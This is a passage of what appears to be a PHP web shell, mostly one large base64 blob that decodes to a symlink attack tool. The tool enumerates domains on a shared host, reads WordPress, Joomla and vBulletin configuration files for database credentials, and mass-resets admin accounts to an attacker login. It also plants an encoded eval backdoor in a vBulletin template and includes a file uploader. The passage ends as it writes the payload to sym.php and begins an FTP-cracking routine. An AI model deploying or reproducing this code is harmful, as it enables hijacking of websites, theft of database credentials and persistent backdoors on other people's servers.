MV1bMF0pKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcD1nZXRfaGVhZGVycygkd3BsKTsNCiR3cD0kd3BwWzBdOw0KDQokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KJHdwMTI9JHdwcDJbMF07DQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIGpvb21sYSAvLy8vLy8vLy8vLy8NCg0KJHBvcyA9IHN0cnBvcygkd3AsICIyMDAiKTsNCiRjb25maWc9IiZuYnNwOyI7DQoNCmlmIChzdHJwb3MoJHdwLCAiMjAwIikgPT0gdHJ1ZSApDQp7DQogJGNvbmZpZz0gJHdwbDsNCn0NCmVsc2VpZiAoc3RycG9zKCR3cDEyLCAiMjAwIikgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0gJHdwMjsNCn0NCmVsc2VpZiAoc3RycG9zKCR3cDEzLCAiMjAwIikgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0gJHdwMzsNCn0NCmVsc2UNCnsNCmNvbnRpbnVlOw0KDQp9DQpmbHVzaCgpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiRkb20gPSAkZG9tc3dzWzFdWzBdOw0KDQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBcbiIpOw0KaWYoJHcpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U2F2ZTwvYj4nO31lbHNleyRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nO30NCg0KDQplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIj4iLiRkb21zd3NbMV1bMF0uIjwvYT48L3RkPg0KPHRkPjxhIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KZmx1c2goKTsNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQpjYXNlICd3cCc6DQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd3cC50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQokY29uZmlnID0gJGVzWzBdOw0KDQokZG9taW4gPSAkZXNbMV07DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsNCg0KaWYoZXJlZygnd3Atc2V0dGluZ3MucGhwJywkcmVhZGNvbmZpZykpew0KDQoNCg0KJHBhc3MgICAgPSAgZXgoJHJlYWRjb25maWcsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQoNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQoNCiRkYiAgICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQoNCiRmaXggICAgID0gIGV4KCRyZWFkY29uZmlnLCckdGFibGVfcHJlZml4ICA9IFwnJywiJzsiKTsNCg0KJHRhYiAgICAgPSAkZml4Lid1c2Vycyc7DQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgIFNFVCBgdXNlcl9sb2dpbmAgPSdzZWMtdy5jb20nIikgb3IgZGllOw0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfcGFzc2AgPSckMSQ0ei8uNWkuLiQ5YUhZQi5mVUhFbU5aLmVJS1lUd3gvJyIpIG9yIGRpZTsNCg0KDQoNCmlmICgkcXVlcnkpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U3VjY2VlZCA8L2I+dXNlciBbc2VjLXcuY29tXSBwYXNzIFsxXTwvYj4nO30NCg0KZWxzZQ0KDQp7DQoNCiRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nOw0KDQp9DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQp9ZWxzZXsNCg0KZWNobyAiPHRyPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkMjwvYj48L3RkPjwvdHI+IjsNCg0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCn0NCg0KfQ0KDQpkaWUoKTsNCg0KfQ0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KfWVsc2V7DQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dzPXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckcGc/c3dzPXdwJz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdNYXNzIENoYW5nZSBBZG1pbicgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPg0KPGJyIC8+PGJyIC8+DQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQokZiA9IGZvcGVuKCd3cC50eHQnLCd3Jyk7DQoNCmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7DQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpew0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3cGw9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KJHdwcD1nZXRfaGVhZGVycygkd3BsKTsNCiR3cD0kd3BwWzBdOw0KDQokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gd3AgLy8vLy8vLy8vLy8vDQoNCiRwb3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7DQokY29uZmlnPSImbmJzcDsiOw0KDQppZiAoc3RycG9zKCR3cCwgIjIwMCIpID09IHRydWUgKQ0Kew0KICRjb25maWc9ICR3cGw7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9ICR3cDI7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMywgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9ICR3cDM7DQp9DQplbHNlDQp7DQpjb250aW51ZTsNCg0KfQ0KZmx1c2goKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokZG9tID0gJGRvbXN3c1sxXVswXTsNCg0KJHcgPSBmd3JpdGUoJGYsIiRjb25maWd8fCRkb20gXG4iKTsNCmlmKCR3KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCg0KZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiI+Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4NCjx0ZD48YSBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQoNCn0NCn0NCn0NCn0NCg0KDQpicmVhazsNCg0KDQpjYXNlICd2Yic6DQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KDQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd2Yi50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCg0KZm9yZWFjaCAoJGV4IGFzICRleHApew0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KJGRvbWluID0gJGVzWzFdOw0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCmlmKGVyZWcoJ3ZCdWxsZXRpbicsJHJlYWRjb25maWcpKXsNCg0KJGRiICAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRjb25maWdbXCdEYXRhYmFzZVwnXVtcJ2RibmFtZVwnXSA9IFwnJywiJzsiKTsNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCckY29uZmlnW1wnTWFzdGVyU2VydmVyXCddW1wndXNlcm5hbWVcJ10gPSBcJycsIic7Iik7DQokcGFzcyAgICA9ICBleCgkcmVhZGNvbmZpZywnJGNvbmZpZ1tcJ01hc3RlclNlcnZlclwnXVtcJ3Bhc3N3b3JkXCddID0gXCcnLCInOyIpOw0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQokc2hlbGwgICA9ICJiVkRQUzhNd0ZMNEwvZyt2WVpBV2RQUGlhVXYxNGtBUUZLcW5VVXFhcGpTWU5LRkp4Q243MzIyYWJnemNJZkR5dmwrUDcvcUtzMDREM3RTNXNKOTZNTUo5YitvaER3OHZUV2NxMzFQRjAyeUpwL1dxenZFYVprMnJCd1dVT2FGN2doQW83anJkRUdTMGRRaDR6OXplY0lLVWwwNFlPcmhWNE44MjFGRUV3WlFnYjZTbURSOFFpT2JzZHhZaGV1TWRSS05XU0g1VXh0bUtuM0crdjBQNVRJeGdOVHFoV1dSOXJZU0xBWEgvUmFVZmdZOHBiVlJPWjRWSTBhYXdxTjVlaS9jZERsUmNBaUZ3SkVJR3Y0SHl5TFRacDR0cSsvenlWT3h3T0FTWE8reVVxVUk2TG0vZ0h4aUJMRGljNm82MlVIakd1TFdRSkVrbzk5VDlHZzdBcGVVWEpGc3E1RVgrQVI3eVB3PT0iIDsNCiRjcnlwdCAgPSAie1wke2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49ICIkc2hlbGwiOw0KJGNyeXB0IC49ICJcJykpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KJHNxbGZhcSA9ICJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kY3J5cHQuIicgV0hFUkUgdGl0bGUgPSdGQVEnIiA7DQokcXVlcnkgID0gQG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7DQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQ8L2I+IHNoZWxsIGluIHNlYXJjaC5waHAnO30NCmVsc2UNCnsNCiRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nOw0KfQ0KJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsNCg0KZWNobyAiPHRyPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCn1lbHNlew0KZWNobyAiPHRyPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkMjwvYj48L3RkPjwvdHI+IjsNCn0NCn0NCmRpZSgpOw0KfQ0KaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsNCiRkMDBtID0gZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQp9ZWxzZXsNCiRkMDBtID0gZmlsZSgibmFtZWQudHh0Iik7DQp9DQppZighJGQwMG0pDQp7DQpkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQp7DQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRwZz9zd3M9dmInPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0luamVjdCBzaGVsbCcgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPg0KPGJyIC8+PGJyIC8+DQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCiRmID0gZm9wZW4oJ3ZiLnR4dCcsJ3cnKTsNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvaW5jbHVkZXMvY29uZmlnLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIHZiIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQp9DQpmbHVzaCgpOw0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBcbiIpOw0KaWYoJHcpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U2F2ZTwvYj4nO31lbHNleyRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nO30NCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCmJyZWFrOw0KY2FzZSAnaGVscCc6DQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5mdW5jdGlvbjwvdGQ+PHRkPkNhc2U8L3RkPiI7DQokc2FmZV9tb2RlID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogICAgIGlmKCRzYWZlX21vZGUpeyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+U2FmZSBNb2RlPC90ZD48dGQ+JHI8L3RkPiI7DQokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIHN5bWxpbms8L3RkPjx0ZD4kcjwvdGQ+IjsNCiRmdW4gPSBmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKTsNCiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+ZnVuY3Rpb24gZmlsZTwvdGQ+PHRkPiRyPC90ZD4iOw0KJGZ1biA9IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKTsNCiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+ZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHM8L3RkPjx0ZD4kcjwvdGQ+IjsNCiRmdW4gPSBmdW5jdGlvbl9leGlzdHMoJ21rZGlyJyk7DQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIG1rZGlyPC90ZD48dGQ+JHI8L3RkPiI7DQokZnVuID0gaXNfZGlyKCdzeW0vcm9vdCcpOw0KICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAwJz5UcnVlPC9iPiI7fQ0KZWNobyAiPHRyPjx0ZD5QZXJtaXNzaW9uIGRlbmllZDwvdGQ+PHRkPiRyPC90ZD4iOw0KJGZ1biA9IHByZWdfbWF0Y2goJy9Gb3JiaWRkZW4vJyxAZmlsZV9nZXRfY29udGVudHMoJ3N5bS9yb290Jykgb3IgIUBmaWxlX2dldF9jb250ZW50cygnc3ltL3Jvb3QnKSk7DQogICAgIGlmKCRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzAwNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+Rm9yYmlkZGVuPC90ZD48dGQ+JHI8L3RkPiI7DQplY2hvICI8L3RhYmxlPjwvZGl2PiI7DQpicmVhazsNCmRlZmF1bHQ6DQpoZWFkZXIoIkxvY2F0aW9uOiAkcGciKTsNCn0NCn1lbHNlDQp7DQplY2hvICc8YnIgLz48YnIgLz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHZhbHVlPSJDaG9vc2UgZmlsZSIgc2l6ZT0iNjAiID48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGJyIC8+PGJyIC8+PGI+VXBsb2FkZWQgc3VjY2Vzc2Z1bCAhITxicj48YnI+JzsgfQ0KCWVsc2UgeyBlY2hvICc8YnIgLz48YnIgLz5Ob3QgdXBsb2FkZWQgISE8YnI+PGJyPic7IH0NCn0NCmVjaG8gJw0KPGJyIC8+PGJyIC8+PGJyIC8+PC9iPjwvYj48ZGl2IGNsYXNzPSJmb3QiPkNvZDNkIGJ5IDxiPlMzbjR0MDByPC9iPiBJZGVhIGJ5IDxiPk1yLkFsc2EzZWs8L2I+DQo8YnIgLz48YnIgLz4NCjxiIHN0eWxlPSJjb2xvcjogcmVkIjs+ICAgU2VjLXcuQ29tICA8L2I+DQo8YnIgLz48YnIgLz4NCk11c2xpbXMgSGFja2VyczwvZGl2PiAnOw0KDQp9DQpmdW5jdGlvbiBleCgkdGV4dCwkYSwkYil7DQokZXhwbG9kZSA9IGV4cGxvZGUoJGEsJHRleHQpOw0KJGV4cGxvZGUgPSBleHBsb2RlKCRiLCRleHBsb2RlWzFdKTsNCnJldHVybiAkZXhwbG9kZVswXTsNCn0NCmVjaG8gJzwvZGl2Pg0KPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICNGNEY0RjQ7IiB0aXRsZT0iPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/Pz8/PzwvYT4NCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8gPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/PyA/Pz8/Pz8/PC9hPg0KPC9ib2R5Pg0KPC9odG1sPg0KJzsNCj8+';$file = fopen("sym.php" ,"w+");$write = fwrite ($file ,base64_decode($symlinker));fclose($file); echo "Click Here";}elseif ($action == 'cpn') {@chdir('damane');$crackftp = 